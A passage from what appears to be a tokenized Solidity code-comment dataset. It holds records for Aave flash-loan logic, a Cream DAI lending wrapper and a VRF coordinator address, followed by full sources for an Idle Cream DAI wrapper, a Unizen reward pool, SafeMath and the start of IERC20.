./full_match/4/0x556eBEee85555782560B7A32195c7e5Ee29Fe921/sources/_aave/core-v3/contracts/protocol/libraries/logic/FlashLoanLogic.sol | * @notice Implements the simple flashloan feature that allow users to access liquidity of ONE reserve for one transaction as long as the amount taken plus fee is returned. @dev Does not waive fee for approved flashborrowers nor allow taking on debt instead of repaying to save gas @dev At the end of the transaction the pool will pull amount borrowed + fee from the receiver, if the receiver have not approved the pool the transaction will revert. @dev Emits the `FlashLoan()` event @param reserve The state of the flashloaned reserve @param params The additional parameters needed to execute the simple flashloan function/ The usual action flow (cache -> updateState -> validation -> changeState -> updateRates) is altered to (validation -> user payload -> cache -> updateState -> changeState -> updateRates) for flashloans. This is done to protect against reentrance and rate manipulation within the user specified payload. | function executeFlashLoanSimple(
DataTypes.ReserveData storage reserve,
DataTypes.FlashloanSimpleParams memory params
) external {
ValidationLogic.validateFlashloanSimple(reserve);
IFlashLoanSimpleReceiver receiver = IFlashLoanSimpleReceiver(params.receiverAddress);
uint256 totalPremium = params.amount.percentMul(params.flashLoanPremiumTotal);
IAToken(reserve.aTokenAddress).transferUnderlyingTo(params.receiverAddress, params.amount);
require(
receiver.executeOperation(
params.asset,
params.amount,
totalPremium,
msg.sender,
params.params
),
Errors.INVALID_FLASHLOAN_EXECUTOR_RETURN
);
_handleFlashLoanRepayment(
reserve,
DataTypes.FlashLoanRepaymentParams({
asset: params.asset,
receiverAddress: params.receiverAddress,
amount: params.amount,
totalPremium: totalPremium,
flashLoanPremiumToProtocol: params.flashLoanPremiumToProtocol,
referralCode: params.referralCode
})
);
}
| 704,710 | [
1,
17516,
326,
4143,
9563,
383,
304,
2572,
716,
1699,
3677,
358,
2006,
4501,
372,
24237,
434,
15623,
20501,
364,
1245,
2492,
487,
1525,
487,
326,
3844,
9830,
8737,
14036,
353,
2106,
18,
225,
9637,
486,
27098,
688,
14036,
364,
20412,
9563,
70,
15318,
414,
12517,
1699,
13763,
603,
18202,
88,
3560,
434,
2071,
528,
310,
358,
1923,
16189,
225,
2380,
326,
679,
434,
326,
2492,
326,
2845,
903,
6892,
3844,
29759,
329,
397,
14036,
628,
326,
5971,
16,
309,
326,
5971,
1240,
486,
20412,
326,
2845,
326,
2492,
903,
15226,
18,
225,
7377,
1282,
326,
1375,
11353,
1504,
304,
20338,
871,
225,
20501,
1021,
919,
434,
326,
9563,
383,
304,
329,
20501,
225,
859,
1021,
3312,
1472,
3577,
358,
1836,
326,
4143,
9563,
383,
304,
445,
19,
1021,
25669,
1301,
4693,
261,
2493,
317,
1089,
1119,
317,
3379,
317,
2549,
1119,
317,
1089,
20836,
13,
353,
22349,
358,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
225,
445,
1836,
11353,
1504,
304,
5784,
12,
203,
565,
1910,
2016,
18,
607,
6527,
751,
2502,
20501,
16,
203,
565,
1910,
2016,
18,
11353,
383,
304,
5784,
1370,
3778,
859,
203,
225,
262,
3903,
288,
203,
203,
565,
5684,
20556,
18,
5662,
11353,
383,
304,
5784,
12,
455,
6527,
1769,
203,
203,
565,
467,
11353,
1504,
304,
5784,
12952,
5971,
273,
467,
11353,
1504,
304,
5784,
12952,
12,
2010,
18,
24454,
1887,
1769,
203,
565,
2254,
5034,
2078,
23890,
5077,
273,
859,
18,
8949,
18,
8849,
27860,
12,
2010,
18,
13440,
1504,
304,
23890,
5077,
5269,
1769,
203,
565,
467,
789,
969,
12,
455,
6527,
18,
69,
1345,
1887,
2934,
13866,
14655,
6291,
774,
12,
2010,
18,
24454,
1887,
16,
859,
18,
8949,
1769,
203,
203,
565,
2583,
12,
203,
1377,
5971,
18,
8837,
2988,
12,
203,
3639,
859,
18,
9406,
16,
203,
3639,
859,
18,
8949,
16,
203,
3639,
2078,
23890,
5077,
16,
203,
3639,
1234,
18,
15330,
16,
203,
3639,
859,
18,
2010,
203,
1377,
262,
16,
203,
1377,
9372,
18,
9347,
67,
42,
16504,
1502,
1258,
67,
15271,
1693,
916,
67,
14033,
203,
565,
11272,
203,
203,
565,
389,
4110,
11353,
1504,
304,
426,
9261,
12,
203,
1377,
20501,
16,
203,
1377,
1910,
2016,
18,
11353,
1504,
304,
426,
9261,
1370,
12590,
203,
3639,
3310,
30,
859,
18,
9406,
16,
203,
3639,
5971,
1887,
30,
859,
18,
24454,
1887,
16,
203,
3639,
3844,
30,
859,
18,
8949,
16,
203,
3639,
2078,
23890,
5077,
30,
2078,
23890,
5077,
16,
203,
3639,
2
] |
/**
* @title: Cream DAI wrapper
* @summary: Used for interacting with Cream Finance. Has
* a common interface with all other protocol wrappers.
* This contract holds assets only during a tx, after tx it should be empty
* @author: Idle Labs Inc., idle.finance
*/
pragma solidity 0.5.16;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/ownership/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/ILendingProtocol.sol";
interface ICreamDAI {
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function getCash() external view returns (uint);
function reserveFactorMantissa() external view returns (uint);
function totalBorrows() external view returns (uint);
function totalReserves() external view returns (uint);
function underlying() external view returns (uint);
}
interface ICreamJumpRateModelV2 {
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
function utilizationRate(uint cash, uint borrows, uint reserves) external pure returns (uint);
}
contract IdleCreamDAI is ILendingProtocol, Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// protocol token (crDAI) address
address public token;
// underlying token (token eg DAI) address
address public underlying;
address public idleToken;
bool public initialized;
/**
* @param _token : crDAI address
* @param _idleToken : idleToken address
*/
function initialize(address _token, address _idleToken) public {
require(!initialized, "Already initialized");
require(_token != address(0), 'crDAI: addr is 0');
token = _token;
underlying = address(ICreamDAI(_token).underlying());
idleToken = _idleToken;
IERC20(underlying).safeApprove(_token, uint256(-1));
initialized = true;
}
/**
* Throws if called by any account other than IdleToken contract.
*/
modifier onlyIdle() {
require(msg.sender == idleToken, "Ownable: caller is not IdleToken");
_;
}
function nextSupplyRateWithParams(uint256[] memory params)
public view
returns (uint256) {
uint oneMinusReserveFactor = uint(1e18).sub(params[3]);
uint borrowRate = ICreamJumpRateModelV2(0x014872728e7D8b1c6781f96ecFbd262Ea4D2e1A6).getBorrowRate(params[0], params[1], params[2]);
uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
uint ratePerBlock = ICreamJumpRateModelV2(0x014872728e7D8b1c6781f96ecFbd262Ea4D2e1A6).utilizationRate(params[0], params[1], params[2]).mul(rateToPool).div(1e18);
uint totalApy = ratePerBlock.div(1e8).mul(2102400).mul(100);
return totalApy;
}
/**
* Calculate next supply rate for crDAI, given an `_amount` supplied
*
* @param _amount : new underlying amount supplied (eg DAI)
* @return : yearly net rate
*/
function nextSupplyRate(uint256 _amount)
external view
returns (uint256) {
uint256 cash = ICreamDAI(token).getCash();
uint256 totalBorrows = ICreamDAI(token).totalBorrows();
uint256 totalReserves = ICreamDAI(token).totalReserves().add(_amount);
uint256 reserveFactorMantissa = ICreamDAI(token).reserveFactorMantissa();
uint256[] memory _params = new uint256[](4);
_params[0] = cash;
_params[1] = totalBorrows;
_params[2] = totalReserves;
_params[3] = reserveFactorMantissa;
return nextSupplyRateWithParams(_params);
}
/**
* @return current price of Cream DAI in underlying, crDAI price is always 1
*/
function getPriceInToken()
external view
returns (uint256) {
return 10**18;
}
/**
* @return apr : current yearly net rate
*/
function getAPR()
external view
returns (uint256) {
// return nextSupplyRate(0);
return 0;
}
/**
* Gets all underlying tokens in this contract and mints crDAI Tokens
* tokens are then transferred to msg.sender
* NOTE: underlying tokens needs to be sent here before calling this
* NOTE2: given that crDAI price is always 1 token -> underlying.balanceOf(this) == token.balanceOf(this)
*
* @return crDAI Tokens minted
*/
function mint()
external onlyIdle
returns (uint256 crDAITokens) {
uint256 balance = IERC20(underlying).balanceOf(address(this));
if (balance == 0) {
return crDAITokens;
}
ICreamDAI(token).mint(balance);
crDAITokens = IERC20(token).balanceOf(address(this));
IERC20(token).safeTransfer(msg.sender, crDAITokens);
}
/**
* Gets all crDAI in this contract and redeems underlying tokens.
* underlying tokens are then transferred to `_account`
* NOTE: crDAI needs to be sent here before calling this
*
* @return underlying tokens redeemd
*/
function redeem(address _account)
external onlyIdle
returns (uint256 tokens) {
ICreamDAI(token).redeem(IERC20(token).balanceOf(address(this)));
IERC20 _underlying = IERC20(underlying);
tokens = _underlying.balanceOf(address(this));
_underlying.safeTransfer(_account, tokens);
}
/**
* Get the underlying balance on the lending protocol
*
* @return underlying tokens available
*/
function availableLiquidity() external view returns (uint256) {
return IERC20(underlying).balanceOf(token);
}
}
| * Gets all crDAI in this contract and redeems underlying tokens. underlying tokens are then transferred to `_account` NOTE: crDAI needs to be sent here before calling this @return underlying tokens redeemd/ | function redeem(address _account)
external onlyIdle
returns (uint256 tokens) {
ICreamDAI(token).redeem(IERC20(token).balanceOf(address(this)));
IERC20 _underlying = IERC20(underlying);
tokens = _underlying.balanceOf(address(this));
_underlying.safeTransfer(_account, tokens);
}
| 14,113,428 | [
1,
3002,
777,
4422,
9793,
45,
316,
333,
6835,
471,
283,
323,
7424,
6808,
2430,
18,
6808,
2430,
854,
1508,
906,
4193,
358,
1375,
67,
4631,
68,
5219,
30,
4422,
9793,
45,
4260,
358,
506,
3271,
2674,
1865,
4440,
333,
327,
6808,
2430,
283,
24903,
72,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
283,
24903,
12,
2867,
389,
4631,
13,
203,
565,
3903,
1338,
13834,
203,
565,
1135,
261,
11890,
5034,
2430,
13,
288,
203,
565,
26899,
793,
9793,
45,
12,
2316,
2934,
266,
24903,
12,
45,
654,
39,
3462,
12,
2316,
2934,
12296,
951,
12,
2867,
12,
2211,
3719,
1769,
203,
565,
467,
654,
39,
3462,
389,
9341,
6291,
273,
467,
654,
39,
3462,
12,
9341,
6291,
1769,
203,
565,
2430,
273,
389,
9341,
6291,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
565,
389,
9341,
6291,
18,
4626,
5912,
24899,
4631,
16,
2430,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/97/0x5b02DA19A87dD2a514fa1cf605856813429C155E/sources/contracts/Binance_VRF.sol | TESTNET COORDINATOR
| address vrfCoordinator = 0xa2d23627bC0314f4Cbd08Ff54EcB89bb45685053; | 3,274,916 | [
1,
16961,
14843,
7910,
916,
21329,
3575,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1758,
20466,
25307,
273,
374,
6995,
22,
72,
29941,
5324,
70,
39,
4630,
3461,
74,
24,
15237,
72,
6840,
42,
74,
6564,
23057,
38,
6675,
9897,
24,
4313,
28,
3361,
8643,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x4416330F6670355f850fCF363ce71c9d8CA40af4/sources/contracts/Attention2476.sol | index of project in the array
| uint index; | 3,107,957 | [
1,
1615,
434,
1984,
316,
326,
526,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
770,
31,
2868,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
pragma abicoder v2;
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {SharedDataTypes} from "../libraries/SharedDataTypes.sol";
import {UZV1BasePool} from "./UZV1BasePool.sol";
/**
* @title UnizenBasicRewardPool
* @author Unizen
* @notice Reward pool for ERC20 tokens
**/
contract UZV1BasicRewardPool is UZV1BasePool {
using SafeMath for uint256;
/* === STATE VARIABLES === */
function initialize(address _router, address _accessToken)
public
override
initializer
{
UZV1BasePool.initialize(_router, _accessToken);
}
/* === VIEW FUNCTIONS === */
function canReceiveRewards() external pure override returns (bool) {
return true;
}
function getPoolType() external pure override returns (uint8) {
return 0;
}
function isPayable() public pure override returns (bool) {
return false;
}
function isNative() public pure override returns (bool) {
return false;
}
/* === MUTATING FUNCTIONS === */
/// user functions
function _safeClaim(address _user, uint256 _amount)
internal
override
returns (uint256)
{
IERC20 _token = IERC20(_poolData.token);
uint256 _balance = _token.balanceOf(address(this));
uint256 _realAmount = (_amount <= _balance) ? _amount : _balance;
if (_realAmount == 0) return 0;
_poolStakerUser[_user].totalSavedRewards = _poolStakerUser[_user]
.totalSavedRewards
.add(_realAmount);
_totalRewardsLeft = _totalRewardsLeft.sub(_realAmount);
SafeERC20.safeTransfer(_token, _user, _realAmount);
emit RewardClaimed(_user, _realAmount);
return _realAmount;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
